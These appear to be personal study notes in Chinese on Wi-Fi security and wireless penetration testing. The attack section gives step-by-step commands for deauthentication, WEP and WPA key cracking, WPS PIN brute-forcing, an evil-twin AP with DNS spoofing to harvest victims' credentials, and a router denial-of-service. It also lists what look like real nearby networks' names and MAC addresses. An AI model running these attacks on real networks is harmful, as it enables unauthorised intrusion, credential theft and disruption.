接收方解密:

IV值提取之 接收方会利用相同的算法 将共享密钥算出

接收端利用相同的算法 将KEY ID 的密钥值算出

通过Key ID 针对一段的数据包的KEY段 裡面的KEY内容提取出来 并将KEY和IV值结合

对他们进行KSA计算

再进行PRGA

将Encrypted Message (密文) 做异或运算 就能得出数据包的明文

接收到所有数据包后 将之拼起来 成为一个完整的data

最后再生成一个32位的摘要值(ICV) 和最初的ICV比对是否相同

-------------------------------WPA安全系统-----------------------------

WEP 和 WAP 都会使用多种不同的加密方式 且利用自己创造的流程 来达到加密的作用

WPA(Wi-fi Protected Access)

有两种版本

802.11i 发布第三版本时 就已经释出WPA安全系统

WAP延续了很多之前WEP使用的加密算法

WPA1 和 WPA2 的安全性基本差不多 以现在计算机的计算能力 还是无法破解成功的

WPA1 兼容 WEP 老旧设备和算法

---------------------WPA1

加密套件:

使用多种具体的加密算法(如 哈希值 非对称性加密算法 对称性加密算法等) 

并且使用不同的方法步骤来实现加密

WPA1 使用的加密套件为 TKIP (Temporal Key Integrity Protocol)

WPA1 (和WEP相比 可以动态改变密钥)

WPA2 使用的加密套件为 CCMP (Counter Mode with CBC-MAC)

WPA2 (完全是基于802.11i 的基础来设计 所以无法兼容使用WEP的老旧设备 且已经无使用WEP WAP2使用的CRC32(完整性校验) RC4(流加密) )

	WPA 2使用的算法是AES算法

可使用WPA2算法 且使用TKIP套件实现加密 反之也可

WPA加密两种安全类型

WPA个人 : 使用预设共享密钥实现身分验证

WPA企业 : 使用802.1X 和 Radius 服务器实现A(身分验证)A(授权)A(限制使用时间)

	一个企业肯定有很多个应用 每个应用又会分给几百人做使用 所以会使用 集中身分验证 提高效率 (如:Radius 等)

	集中身分验证: 

		所有的帐号密钥 集中身分验证信息 等等 都保存在集中身分验证数据库内 一个系统内建立几百个帐号 系统裡面可以统一设置 可以查看名称 信息等等

		身分验证过程 当客户端登入(提交身分验证)到一个应用系统 应用系统收到请求 利用加密方式传输给后端Radius服务器 服务器再把认证结果返回给前端应用系统 再返回给客户端

		以上说的应用系统就相当于一个ap 
	实例:

		客户端会通过最近的ap 来验证身分信息 ap 提交给后端Radius 来认证之 

		身分认证过程从 802.1x 再到后端服务器进行验证和授权和限制使用时间(AAA) (不同的ap可以有不同的授权和限制)

		客户端和AP之间的通信使用的是EAP协议

		而AP和后端服务器通信使用的是Radius协议

	EAP	
		是一个身分验证拓展的一个协议 是一个框架 可以选择多个身分验证方法 通常只选择一种 

		所以只要让客户端能支持能识别EAP即可(国际标准组织 统一的身分验证协议方法)

		802.1X是使用EAPOL协议来实现EAP

不论是WPA1 WPA2 个人或是企业 都会使用802.1X (资源整合 非常复杂但安全性高)

802.1X

被认证者

认证者 (AP) (没有统一的帐号密码 是到身分认证服务器拿取身分认证服务器的结果)

后端服务器	

--------------------------WPA1

802.11i 第三版草案

和WEP比较

	都使用逐包进行密钥加密

	128位KEY 和 48位起始向量(IV) (此为WEP和WPA1的差别 : 将WEP 是使用24位起始向量 密钥长度也有增加)

	RC4流加密数据

	侦计数器避免重放攻击 (WEP会遭受重放攻击(将此次身分验证信息包抓下 直接发给AP就可以完成身分验证过程))

	TKIP使用Michael算法进行完整性校验 (MIC)

		WEP CRC32

	兼容早期版本硬件

---------------------------WPA2

依据802.11 i 完全重新设计实现

也被称为Robust Security Network (RSN)

CCMP 替代 TKIP

AES 加密算法取代了RC4

不兼容早期版本硬件

-------------------------WPA 企业连接过程

当sta 要连接无线网路 会有四个步骤:

1.协商安全协议(Probe request Probe reponse 协商具体使用的加密套件 )

2.身分认证(802.1x)

3.密钥分发和验证(密钥的分发和交换)

4.数据加密完整性(后续的具体通信)

------------------------WAP-PSK(共享密钥)

协商安全协议 (共享密钥方式 和具体使用的加密套件 等)

密钥分发和验证(进行密钥交换 所有身分验证 都不会使密钥在网路裏做传输)

数据加密完整性

--------------------协商安全协议

协商认证方式

PSK/802.1x

单播 和 组播/广播流量加密套件

TKIP/CCMP

STA 通过 Probe 获取无线网路信息

速率

加密

通道

名称

---------------身分认证(WPA企业)

身分验证基于EAP实现

EAP-TLS   需要客户端和服务器证书 (通过企业分发证书的方式 在身分验证的过程中 服务器会验证你的证书和帐号密码是否匹配 而客户端也需要匹配服务器证书 (防止客户端误连入黑客伪造的无线网路))(PKI认证方式 非常繁琐 所以正常情况下)

EAP-TTLS 

PEAP 溷合身分验证 只需要服务器证书 (简单实现 但安全性不高)

客户端选择身分认证方式(首先尝试使用OPEN身分验证方式 )

客户端会把身分验证信息 以密文的方式 发给AP AP会把身分验证信息发给Radius Server

Radius Server 返回 "Radius Accept" 表示认证成功

	其中包含Master Key(MK) (最顶级的key 各种加密的key都是透过Master Key 衍伸出来的)(安全性相当高)

AP通过EAP消息通知STA认证成功

---------------密钥交换(其实也穿插在身分验证过程中)

无线网路设计用于一组无线设备通信

关连到同一AP的设备就可以实现共享无线信道 进行传输

	1.单播通信 (移动端 终端设备 peer-to-peer)

	2.广播/组播 (多个STA需要数据互传时)

安全特性要求不同

单播通信需要单独密要加密通信双方流量

	PAIRWISE KEY: 对偶密钥(PTK)(点对点密钥)

组播通信需要信任域内所有成员共享的同一密钥

	group key : 组密钥(GTK) T 代表为temporary 表示为临时密钥 每次连接时 密钥都会改变 (同上PTK)

WPA个人共享密钥生成(基于PSK共享密钥)(可利用此方法破解)

Essid** + PSK(预设共享密钥) + 迭代次数4096-------- Hash 计算生成 PMK 再利用PMK计算出PTK

必须先有PMK 加上随机信息 生成 PTK 256位(32 bytes)

---------------------PMK (企业版的密钥交换)

当使用wap企业架构的情况下

MK 会进行TLS-PRF 加密算法 得出 摘要值(PMK) PMK 又可计算出 PTK (拿来做STA和AP的单播数据加密)

----------------------PTK

PTK 的生成

无论是在企业和个人 PTK都不会在STA 和 AP 加密 都是通过PMK加上随机数各自算出 STA和AP通过刚刚交互获得的所有讯息 各自计算出来 且计算出的结果相同

HMAC-SHA1 散列算法

PRF-X 散列算法

PMK (机密)----------->		加	-----> Data Encr 加密数据的PTK (128 bytes)

随机数1 --------->		密	-----> Data MIC 计算数据完整性校验PTK (128 bytes) 

随机数2 -------->		计	-----> EAPOL Encr EAP身分认证加密PTK (128 bytes)

MAC1 -------->			算	----->EAPOL MIC EAP身分认证校验PTK (128 bytes)

MAC2 --------->				

随机数的生成

四步握手 

AP发送 随机数1 给被认证端(STA)

STA自己再生成一个随机数2 加上AP的MAC STA自己的MAC 生成了自己的PTK 256bit(32 bytes)

随机数2 (明文) 和PTK的完整性校验值(MIC) 发给AP

也使用同样算法算出PTK 再利用PTK算出MIC校验值 验证完整性 目前已确认两方都拿到相同的PTK



AP发送GTK 和 MIC(GTK 的MIC值) 给STA

STA验证MIC完整性 确认两方都拿到相同GTK

STA发送ACK确认之

数据加密和完整性:

TKIP

CCMP

WRAP(目前已经废止)

------------------------无线渗透实际操作-------------------

无线渗透最主要的目的 连入渗透目标的AP

当进入了无线网路 代表已经突破了网路边界

接入无线网路的共享密钥 无线密码 就变成了网路边界

后面会介绍如何取得无线网路共享密钥 或是用户名密码

--------------------AIRCRACK-NG (一个套件 不是一个单独的工具)

无线渗透框架 审计

包含各种功能的工具套件

	网路检测

	嗅探抓包 (在一般的有线网路中 只要镜像端口指定抓包功能 就无法再进行发包工作 而无线网路可以透过 AIRCRACK-NG 实现)

	包注入

	密码破解

airmon-ng 查看网卡驱动 芯片型号

airmon-ng check 查看是否和aircrack-ng 冲突的服务

airmon-ng check kill 可以杀掉进程

airmon-ng start wlan0 启动侦听 也可利用iw

iwlist wlan0 channel

airmon-ng stop wlan0

----进行抓包

wireshark 需要分析太多 每个包皆须分析

可以利用arimon-ng 分析 较省时

airmon-ng start wlan0 1 可指定工作在哪个信道

airodump-ng wlan0 可抓取所有包 并整理显示之 不管设定在什麽信道 无线网卡 会在所有信道进行轮巡

若抓到四步握手信息抓取之 就会显示在右上角 或是 WEP的Challenge text 加密过程

airodump-ng wlan0 -c 1 可以抓取指定信道的信号

会发现多出RXQ  但有些信道带宽会有交叉所以还是会抓到其他信道的内容

airodump-ng wlan0 -c 1 --bssid 00:00:00:00:00:00 可指定抓取AP

airofump-ng wlan0 -c 1 --bssid 00:00:00:00:00:00 -w test.txt 可保存其内容 且可用wireshark 开启此档案 wireshark test-01.cap

–ivs (只抓取WEP内IVS相关信息)

-----------------airodump-ng 名词解释-----------------

BSSID : AP的MAC地址

PwR : 信号强度(dBm)

-1:驱动不支持信号强度 STA距离超出信号接受范围

PXQ :
最近10秒中 成功接收的数据侦百分比(数据侦,管理侦) 只有在固定信道时 才会出现

Beacon : 接收到AP 发送Beacon侦的数量

#Data : 抓到的数据侦数量(WEP表示IV数量) 包含广播数据侦 (在WEP中较有用)

#/S : 最近10秒内 每秒平均抓到的侦之数量

CH: 信道号 (从Beacon侦中获得), 信道重叠时可能发现其他信道

MB: AP支持的最大速率

ENC : 採用的无限安全技术 WEP ,WPA ,WPA2 ,OPEN

CIPHER :採用的加密套件CCMP ,TKIP ,WEP40 ,WEP104

AUTH: 身分认证方式MGT(WAP enterprise), PSK(WAP), SKA(WEP), OPEN

ESSID: 若出现length 表示为隐藏AP ****airodump 可以从probe和associationreques侦中发现隐藏AP


ESSID :STA关联的AP

NOT ASSOCIATED 表示没有关连到任何AP的STA 

STATION: STA的MAC地址

PwR

当PwR为-1 且前面AP 的 STA 皆显示 代表STA和自己距离太远 但AP能探测到(使攻击难度增加)

LOST: 通过Sequence number 判断最近10秒STA发送丢失的数据(管理侦 数据侦)

也可能有 信号干扰 距离过远等原因

发包不能收, 收包不能发

Frame :STA 发送的数据包数量

Probe :STA探测的ESSID 通常是未连接AP 的STA会显示之(历史连接的AP)

----------------------AIRODUMP-NG 排错

不显示任何AP和STA消息

禁用network-manager 服务

尝试卸载rmmod  和重新加载驱动modprobe 

工作一段时间后airodump-ng无法继续发包

-----------------------Arieplay-ng 可向网路中注入802.11包----------------

产生或是加速无线通信流量

向无线网路中注入数据包

	伪造身分验证

	强制重新身分验证(强制解除客户端和ap建立的关联关係 使客户端再和AP建立身分验证信息)

	抓包重放

正常的网路通信流量 要用多个信息量来分析 无线密码时 耗时过长

就可以使用此命令来注入 或是重放抓到的某种类型数据包 通过这种方式来触发ap或是客户端 让目标产生大量回包 可以收集讯息来快速完成密码破解

获取包的两种途径(重放包之前的抓取)

指定接口(-i)

抓包文件pcap(-r)

命令格式

aireplay-ng (必须要处于侦听模式)

Filter命令选项 (除了0,1两种攻击方式以外其他攻击模式都可以使用此过滤命令)

	-b bssid

	-d dmac

	-s smac

	-m len

	-n len 

	-u type (manage frame ,control frame)

	-v subtype

	-t tods

	-f fromds

replay命令选项(重放包)

	-a bssid

	-c dmac

	-h smac

---------------------Aireplay-ng 排错

Aireplay-ng 命令挂起没有输出

无线网卡和ap工作在不同信道

报错"write failed:Cannot allocate memory wi_write():illegal seek"

无线网卡使用Broadcom芯片(bcm43xx) 替换为b43驱动可解决

可注入但速度慢

没有修正方法 可以尝试启动多个aireplay-ng命令提高速度

使用-h参数指定注入mac地址和网卡mac地址不一致报错 (要伪造自己网卡时)

建议保持一致(macchange)mac地址修改命令 (必须先down网卡才能修改mac地址) macchanger -m 00:11:11:11:11:11 wlan0

才能使用-h参数 (目前网卡mac地址 和 -h指定网卡mac地址必须相同)

-----------------------aireplay-ng包注入测试 --test

检测网卡是否可以注入包和网卡注入包的质量

检测AP的响应时间

回包率反映链路质量

如果有两个无线网卡 可以检测具体可以注入哪种攻击

基本测试检测AP对Probe广播的响应

向AP发30包

网卡成功发送并发送包的能力

基本测试

Aireplay-ng -9(--test) wlan0

向隐藏AP/指定SSID注入

Aireplay-ng -9 -e (SSID名称) -a 11:11:11:11:11:11 wlan0

如果需要注入某个AP需先设定网卡处在的Channel

airemon-ng stop wlan0

airemon-ng start wlan0 11(信道)

Card to Card 注入测试 (需要两块网卡)

具体攻击方式

-i 作为模拟ap的网卡

5/7 Faild

	注入Mac和真实mac 相同时代表可以正常使用

	aireplay -9 -i wlan0(模拟的AP) wlan1

-------------------------------MAC地址绑定攻击---------------------

MAC 地址绑定不是一个好的安全防御方式

先创造一个无线网路环境

设定ap绑定mac地址

设定指定频道方法 iw dev wlan0 set channel 11

精确侦听内容 airodump-ng wlan0 -c 11 --bssid (指定mac地址)

macchanger -m 11:11:11:11:11:11

由此实验可知道如何绕过mac地址绑定

-----------------------------WEP加密方式的攻击-----------------------

虽然已经几乎应用不到

但有一些老旧地区 仍然还在使用

WEP共享密钥破解

IV并非完全随机

每224个包可能重复出现IV

IV加密后的秘文也可以抓的到

收集大量的数据包 以及抓取加密的秘文 来进行比对 进行综合计算 就可以把WEP共享密码计算出来 (收集的IV越多 Aircrack-ng破解速度越快 越容易 且任何复杂密钥都可以进行破解)

WEP密钥 无线网路环境配置

选择WEP认证方式

可选择128位加密方式 或是64位加密方式

128位可以设定13位(ascii)密码 总计108位大小 其他的20位 则为系统生成的IV值

1 ascii = 8bit

1 hex = 4bit

challenge text 为authentication reponse AP回覆给客户端的一个数据

目标是利用 WEP中 AP传输的Challenge text 随机字段给STA STA利用密钥(共享金钥和iv字段结合的密文)来加密 Challenge text字段 的传输过程抓取之 做异或反向破解 得出密文信息

airodump-ng wlan0 -c 11 --bssid -h -w test    指定抓包目标ap和保存文件 可作为之后注入攻击 伪造身分验证关联 后续的密码破解 都必须做分析和调用

********WEP 的密钥为 用户设置的根密钥和起始向量IV 组成   	而AP利用 明文 方式传输Challenge text 字段 我们可以透过抓包抓取明文Challenge text 传给STA后 STA利用生成的密钥 加密Challenge text 

	回传给AP 我们也会抓到一个加密后的Challenge text 可以透过得到的两个包经过 异或计算 (xor)来得出密文(密钥+iv)(keystream)

	得到密文后就可以直接将之作为身分验证加密Challenge text 来通过验证

	就可以和AP进行关联!!

	但是后续传输讯息时仍然需要使用到用户设定的共享密钥

完整步骤流程讲解

1.启动monitor 模式

2.启动抓包并保存之 当右上角出现keystream则生成密文文件(会自动进行xor反向破解) 密文(密钥+IV)会存在.xor文件内(已经通过异或反向破解成密文)  .cap(一般抓包文件) .CSV(统计表格文件)

	可通过密文来和AP关联 建立关联关係才能进行后续数据包注入 传输等等

3.Deauthentication (当ap环境中没有客户端是进行身分验证时 等待客户重新验证的效率过低 因此採用此方法提高效率) 

	攻击者向AP注入Deauthentication包(aireplay-ng -0 1(攻击次数) -a (reply 参数---ap MAC地址 ) -c 关联的STA(目标AP环境内的STA MAC地址)) 

	使AP和STA断开连接 并抓取两设备重新身分验证的包 通过异或反向破解得出 .XOR文件(密文)

4.利用xor文件和AP进行关联

	利用Airodump-ng -1(做伪造身分验证) 60(每过多少时间发一次重新身分验证(reauthentication)) -e (ssid名称) -y (使用的密文文件(.xor)) -a (reply参数---AP MAC地址) -h (reply参数----自身无线网卡的mac地址)  wlan0

	成功和AP进行关联 之后就可以对AP进行包注入

5.执行ARP重放 (促使AP在一段时间中产生大量的IV值 使我们可以进行分析出共享密码 64位密钥建议抓取20万以上 IV值  128位密钥建议抓取 150万以上IV值 **IV值位于数据段内 *DATA:为抓取的数据段数量(内含有IV值))

	利用ARP重放 当客户端STA对AP发送ARP包 AP就会回覆ARP RESPONSE (内含IV值) 所以我们可以透过不断发送ARP包 使ARP不断对发IV值(ARP包)给我们

	但由于目前还未获得共享密码 因此我们还是无法发送合法的ARP包 

	所以需要使已经连接AP的合法客户端(STA) 去发送ARP REQUEST包 让我们能够使用aireplay-ng 抓取ARP REQUEST包 并且重放(因为此arp为合法ARP包) ARP返回ARP RESPONSE包 内含IV值

6.Deauthentication 触发 合法客户端ARP数据包请求发送 (首先透过Aireply-ng发送Deauthentication 使客户端和AP断开连接 

			重连接之后 客户端会和AP要求IP地址 获得IP地址后 会进行ARP请求发送给AP 就可以抓取之 做重放攻击)

			aireplay-ng -3(ARP重放攻击) -b (AP的MAC地址) -h (自身网卡的mac地址)

			现在areplay-ng 会不断去寻找抓取 ARP request 包 但目前还抓不到arp request包

			因为需要去发送Deauthentication包 使目标ap合法连接的sta断开连接 使之发送arp request包 
			
			aireplay -0 2 -a (reply参数-----AP的MAC地址) -c (合法连接ap的sta) wlan0

			抓到足够的iv值后 可以开始破解共享密码

			找到抓到的IV文件 wep-01.cap

			aircrack-ng wep-01.cap

断开连接-0 -a 目标ap mac -c 目标连接ap的合法sta

伪造身分验证-1 -e ssid -a 目标ap mac -h 本地网卡mac

arp重放攻击-3 -d 目标ap mac -h

-----------------------Fake Authentication伪造身分验证--------------------

WEP破解首先需要伪造认证 以便于和AP进行正常通信

不产生ARP数据包

Airplay-ng -1 0 -e SSID -a -h

Airplay-ng -1 60 -o 1 -q 10 -y <.xor file> -e -a -h

每6000秒发送reauthentication

-o 2 每次身分验证发2组认证数据包

-q 10 每10秒发一次keep-live侦

--------------Fake Authentication 伪造身分验证排错------------------------

某些AP验证客户端MAC地址OUI (前三个字节 来判断是否为合法MAC地址)因此须避免出现不合法的MAC地址

MAC地址过滤

Denied(Code 1) is WPA in use

WPA/WPA2不支持Fake authentication 只有在WEP进行无线通信时才需要 先进行Authentication

使用真实MAC地址

物理靠近AP

侦听信道正确

------------------------Deauthentication 攻击-------------------------

强制客户端和AP断开关连

重连生成ARP请求 AP回包包含IV

或是用来抓取合法STA认证过程

WPA 重连过程抓取4步握手过程(唯一方式攻击)

无客户端情况下此攻击无效

aireplay-ng -0 0(持续发包 不间断) -a -c

不指定-c参数时 以广播攻击所有客户端 (有些客户端可能不接受广播形式的Deauthentication 包)

每次攻击发送128个包 64个给AP  64个给客户端 (距离客户端过远可能导致失败)

物理足够接近被攻击者

----------------------Deauthentication 排错--------------------

物理足够接近被攻击者

和被攻击者使用相同无限标准b ,n ,g

客户端可能拒绝广播侦 建议指定客户端

--------------------ARP重放----------------------------

侦听正常的ARP包并重放给AP

AP回包中包含大量弱IV

airplay-ng -3 -b -h

-h 合法客户端 / 供给者MAC

Airdump-ng data 字段

64bit : 25 万

128bit : 150万

WEP破解

airecrack-ng wep.cap

------个人排错方式和改频道必成功方法------

nmcli networking on 开启wifi列表

service networking restart重启network-manager

1.systemctl restart NetworkManager.service && systemctl restart wpa_supplicant.service

2.vim /etc/NetworkManager/NetworkManager.conf

3.[device]
wifi.scan-read-mac-address=no

1.ifconfig wlan0 down

2.iwconfig wlan mode monitor channel 1

3.ifconfig wlan0 up

40:4A:03:54:0E:97

74:B5:87:14:99:7E

------------------------WPA-PSK攻击-----------------------

只有一种密码破解方式

WPA不存在WEP的弱点

只能暴力破解

CPU资源

时间

字典质量

	网上共享的字典

	洩漏密码

	地区电话号码段

	Crunch生成字典

	kali中自带的字典文件

psk破解过程

启动monitor

开始抓包并保存

Deauthentication 攻击获取4步握手信息

使用字典暴力破解

1.抓取四步握手信息 (为第一次身分验证时发送的验证过程 所以可以透过Deauthentication 使客户端和ap进行重连 来抓取四步握手)

2.暴力破解

/usr/share/john 

查看密码字典 (有些不符合wpa长度要求 需要8-63个asscii字符)cat password.lst

aircrack-ng -w /usr/share/john/password.lst wpa-01.cap

密码字典推荐:

cd /usr/share/wfuzz/wordlist/fuzzdb/

cd /usr/share/worldlists

cat john.txt | wc -l  可查看有几行

----------------破解不在附近的AP(利用侦听STA的PROBE包)------------------

使用airodump-ng 可以知道sta曾经连线过的ap

利用四次握手的漏洞来破解

1.伪造一个无线AP (通过airodump-ng的抓包来找到ap名称 )伪造ap名称和ap的bssid

2.目前需要知道的是预共享密钥 在二步握手的过程中 只需抓取前两个包

3.不断将PSK暴力破解代入PMK计算公式(ESSID + PSK =PMK)

4.mic比对成功 则破解成功

airbase-ng 用笔记本网卡创造出一个ap

airbase-ng --essid leon -c 11 wlan0

使用此命令后会增加一个新的虚拟网卡 和 无线AP

-z 伪造WPA1 -Z 伪造WPA2

airbase-ng --essid leon -c 11 -z 2(TKIP)wlan0

airbase-ng --essid leon -c 11 -Z 4(CCMP) wlan0

-----------------------------airolib 破解密码

提高密码破解效率

破解过程和四步握手有很大关係

PMK 由 ESSID + PSK 生成的哈希值 

PMK再经过计算(SMAC DMAC NONCE1 NONCE2)生成PTK

airolib提高效率的做法

确定essid 使用密码字典的所有密码进行匹配 和4096哈希计算

算出所有PMK

拿所有PMK和后面四个资讯进行破解

并且匹配mic值 反推出正确密码

SQLite3 数据库存储数据 提高效率

1.先知道essid

2.拥有密码字典

echo kifi > essid.txt 把要破解的essid放入文本文件

airolib-ng db --import essid essid.txt 创建数据库

airolib-ng db --stats 查看状态

airolib-ng db --import passwd /usr/share/wordlists/rockyou.txt 注入密码文件 会自动侦测是否可用密码

airolib-ng db --batch (根据essid 和 密码 逐个计算成PMK) 生成PMK字典

实际进行破解

aircrack-ng -r db wpa.cap

破解完成!

cat /usr/share/wordlists/rockyou.txt | head -n 200000 (提取前200000行) > dict.txt

--------------JTR 破解密码 (John the ripper)---------------

特点:

不像airolib一样 基于优先生成PMK 来优化破解效率

而是使用规则来动态生成密码字典

top 可查看cpu占用

编辑配置文件 /etc/john/john.conf (用来配置规则字段)

vim /etc/john/john.confs

在vim搜索规则字段 /List.Rules:WordList 找到try the second half...加上自己订製的规则 $[0-9]$[0-9]$[0-9]$[0-9] (表示密码文件中后面加上四位分别为0-9)

john --wordlist=密码字典文件 --rules(基于规则) --stdout(输出内容)

john --wordlist=密码字典文件 --rules --stdout | aircrack-ng -e (essid) -w (使用密码字典) -(一个横槓表示将前面命令输出的内容放此) wpa-01.cap

优点:

	动态生成字典 

	可以降低硬碟佔用空间

---------------推荐无线渗透学习网站

http://etutorials.org

------------------COWPATTY 破解密码---------------

WPA密码通用破解工具 -R

高效率破解 (需要使用彩虹表)

使用明文密码字典(速度和aircrack-ng 一样)

cowpatty -r wpa.cap -f password.lst -s (essid)

使用彩虹表(PMK)

genpmk -f password.lst -d pmkhash (储存位置) -s (essid) 生成PMK

cowpatty -r wpa.cap -d pmkhash (储存位置) -s (essid) 破解之

------------------PYRIT 破解密码------------------

比前面介绍的密码破解工具强大许多

和airolib cowpatty 相同 支持基于干预计算的PMK提高破解速度

独有的优势

除利用CPU(中央处理器)计算之外 pyrit 可以运用GPU(图形处理器)的强大运算能力加速生成PMK

图形显卡集成的计算能力可以达到几千核处理器单元 而中央处理器有上限

GPU特点

	不适合用来拿来当成CPU平常使用的运算处理
	
	但非常适合图形的流式处理 和数学计算处理 对这种类型的计算非常擅长(如密码破解等等) 对计算能力的提升是上千倍的

	分布式计算**

本身支持抓包获取四步握手过程 (但还是建议使用airodump-ng)

也支持读取四步握手过程

只抓取WAP四步握手过程的包

pyrit -r wlan0 -o wpapyrit.cap stripLive

pyrit -r wpapyrit.cap anlyze(分析)

**格式和airodump抓的包格式不同 因此若需要分析airodump-ng抓的包 需要进行转换

pyrit -r wpa.cap -o wpapyrit1.cap strip (只留下握手包)

pyrit -r wpapyrit1.cap anlyze

明文密码破解

pyrit -r wpapyrit.cap -i password.lst -b   attack_passthrough (直接进行密码破解)   明文密码破解(每个破解工具皆无法和aircrack-ng相比)

数据库模式破解

默认使用基于文件的数据库 支持连接SQL数据库 将计算的PMK存入数据库

查看默认数据库状态: pyrit eval

导入密码字典文件: pyrit -i /usr/share/john/password.lst import_passwords

指定ESSID: pyrit -e (essid) create essid 

计算PMK : pyrit batch (**利用GPU计算)

破解密码 : pyrit -r wpapyrit.cap -b  attack_db

------------------------------WPA企业破解----------------------

-----------------------------WPS攻击--------------------------

WPS(WIRELESS PROTECTED SETUP)

WPS是wifi联盟于2006年开发的一项技术

通过pin码来简化无线接入的操作 无需记住PSK

路由器和网卡各按一个按钮就能接入无线 (物理性身分验证)

PIN码(硬编码)是分为前后各4位的2段共8位数字 (共有一亿种组合)

安全漏洞

2011年被发现安全涉及漏洞

接入发起方可以根据路由器的返回信息判断前4位是否正确 (因此只需要暴力破解前字段)

而PIN码的后4位只有1000种定义的组合 (最后一位是checksum(插对校验值))

所以全部穷举只需要11000次尝试

	PSK: 218,340,105,584,896 (共享密码共有200万亿种可能)

标准本身没有设计锁定机制 目前多个厂商已经锁定机制

包含Linksys在内很多厂家的无线路由器无法关闭WPS功能

即使在WEB介面中有关闭WPS 配置也不会生效

攻击难度低 防御却十分困难

一般可在4-10小时破解

WPS探测命令:

wash -s -i wlan0

airodump wlan0 --wps

The Lord is With Me 00:D0:41:D0:39:84

Lin 84:D1:5A:BA:4D:38

ali AC:F1:DF:CA:5E:DE

shenglovepuff 04:D4:C4:C0:2B:08

SamIU2.4G 10:BE:F5:D8:FB:5C

USER-HP_Network B0:C7:45:6E:13:FC

ONAP2.4G 14:DD:A9:D0:6A:60

暴力破解PIN码命令:

reaver -i wlan0 -b (AP的MAC地址) -c (指定信道) -vv (两倍的verbose)

秒破PIN码:

原理:

	针对特定厂家的芯片的漏洞快速破解

reaver -i wlan0 -d (设定延迟几秒) -b  -vv -K 1

pixiewps(以上命令只是结合此命令)

reaver -i wlan0 -b -c 指定信道 -vv -p 88888888 (直接输入pin码)

很多厂家实现了锁定机制 所以爆破时应注意限速

一旦触发锁定 可尝试耗尽AP连接数 令其重启并解除WPS锁定 (拒绝服务)

综合自动化无线密码破解工具 wifite

-----------------------------------其他工具 EVIL TWIN AP /ROGUE AP----------------------------

黑客攻击的手段

1.创建一个黑客AP 和一个正常AP

airbase-ng -a  -c 11 --essid kifi wlan0 (可和正常AP完全相同)

可通过修改信号强度 使大多人能连接之

2.将假ap和真ap 桥接

apt-get install bridge-utils

brctl addbr bridge 添加网桥

eth0桥接有线网路: dhclient bridge

brctl addif bridge eth0 将eth0网卡放入网桥

brctl addif bridge at0 (刚刚伪造的无线也放入网桥内)

启动两个网卡 (需要将两个网卡的ip地址去除之)

ifconfig eth0 0.0.0.0 up

ifconfig at0 0.0.0.0 up

ifconfig bridge 192.168.1.1 up (给网桥配置ip地址)

查看路由表

netstat -nr

使eth0指定一个网关(有线AP) 才能连线到真正的有线AP

route add -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.1.1

启动IP转发

echo 1 > /proc/sys/net/ipv4/ip_forward

基于以上的欺骗

都可以在中间进行嗅探抓包

也可以做dns的欺骗

dnspoof-i bridge -f 

host文件范例

	cat /usr/share/dsniff/dnsspoof.hosts

	10.0.0.1	*.google.com	(无论访问什麽google.com 的主机名 都会被解析成10.1.1.1)

就可以在此ip地址製作网页服务器	製造假的ip地址 使victim将敏感资讯输入之

开启网页服务

apache2ctl start

检查80端口

	netstat -pantu | grep 80 

就可以嗅探到victim的信息 也可以透过wireshark抓包(但需要监听at0)

-------------------ddos 路由器

mdk3 wlan0 a -a 40:4A:03:54:0e:97

纯粹使你无法上网

-------------------Evil twin ap / ROGUE AP

一个集成工具

git clone https://github.com/P0cL4bs/3vilTwinAttacker.git

cd 3vilTwinAttacker

sudo chmod +x installer.sh

sudo ./installer.sh --install

----------------------------fluxion-------------------

邪恶双胞胎

amazing very! amazing very!!!
----------------------airdecap-ng-----------------

去除802.11头

airdecap-ng -b  1.pcap

解密WEP加密数据

airdecap-ng -w  -b  1.pcap

抓包前必须和AP进行关联关係

解密WPA加密数据

airdecap-ng -e  -p  -b  1.pcap

抓包文件中必须包含四步握手信息否则无解

----------------------Airserv-ng 通过网路提供无线网卡服务器---------

此工具可以使网卡被远程操控

某些网卡不支持客户端/服务器模式

启动无线侦听

服务器端

airserv-ng -p 3333 -d wlan0 (指定变为服务器的网卡)

客户端 (任何aircrack-ng 系列的指令都可以使用 将192.168.1.1:3333 当成网卡的位置即可)

airodump-ng 192.168.1.1:3333

某些防火牆会影响客户端和服务器之间(C/S)的通信

-----------------------------Airtun-ng--------------------

无线入侵检测wIDS
(有线wIDS)
企业通常会把无线入侵检测wIDS部署在核心交换机的端口上 并且镜像核心交换机出口端口

	就可以撷取所有流量 来判断是否有攻击性代码

(无线wIDS)

	先创一个隧道 并使所有流量进入隧道 并使用离线方式拷贝进 wIDS服务器 wIDS进行重放 以重放的方式在本机查看

需要知道无线密码和BSSID

也需要获取握手信息

中继和重放

中继使用场景(无线中继器)

	当渗透目标距离过远 且无法接近渗透时

	可以使用树梅派(需要两张网卡)来进行中继

	将树梅派偷偷放置目标系统附近

	可进行实时操作 且使渗透范围变大

重放 (和中继差不多 但不是实时)

	只使用一张网卡 将流量流入网卡

	随时可进行重放来查看流量

Repeate / Replay

指令:

无线入侵检测系统 (可抓取所有被解密的数据包)

	WEP: airtun-ng -a  -w SKA wlan0W

	WPA: airtun-ng -a  -P  -e  wlan0

	需启动端口: ifconfig at0 up

成功连接后可以使用wireshark来抓at0网卡(wIDS)进行监听

也可以使用嗅探指令

	dsniff -i at0

	driftnet -i at0 (可实时抓取传输图片)

检查是否有恶意入侵行为

	wireshark 尽量储存为 pcap(tcpdump)文件**

	并且将此文件 复製到另一台主机进行重放 并且检测是否有入侵嫌疑

		tcpreplay -i eth1 -M 1000 ids.pcap (入侵检测系统)

理论上支持多AP的wIDS 但两个AP以上时可靠性会下降(因为必须切换不同信道 可以透过airodump-ng指定信道来弥补)

	WPA:airtun-ng -a  -p  -e  wlan0

	ifconfig at0 up
	
	和刚才操作差别不大

----指令

中继(Repeate)

	WDS/Bridge

	扩展无线侦听的距离

	要求两块网卡都置入monitor模式

	airtun-ng -a  (无线AP的MAC地址) --reqeat --bssid (抓包网卡过滤的AP 跟前面的一样即可) -i wlan0(收包的网卡) wlan1(发包的网卡)

	wlan

重放(Reqlay)

	将抓取的cap文件重放到指定网卡

	airtun-ng -a (发包的源地址) -r 1.cap 

---------------------嗅探特定指令

dsniff -i at0

driftnet -i at0 (可实时抓取传输的图片)

--------------------testing
D-Link_DIR-612 channel 2 A0:AB:1B:04:47:22

28:3A:4D:3E:CA:1B

1C:42:7D:BE:60:73
-------------------8812au排错

/etc/NetworkManager/NetworkManager.conf

[device]

wifi.scan-rand-mac-address=no

------------------besside-ng 快速破解

-b STA MAC地址

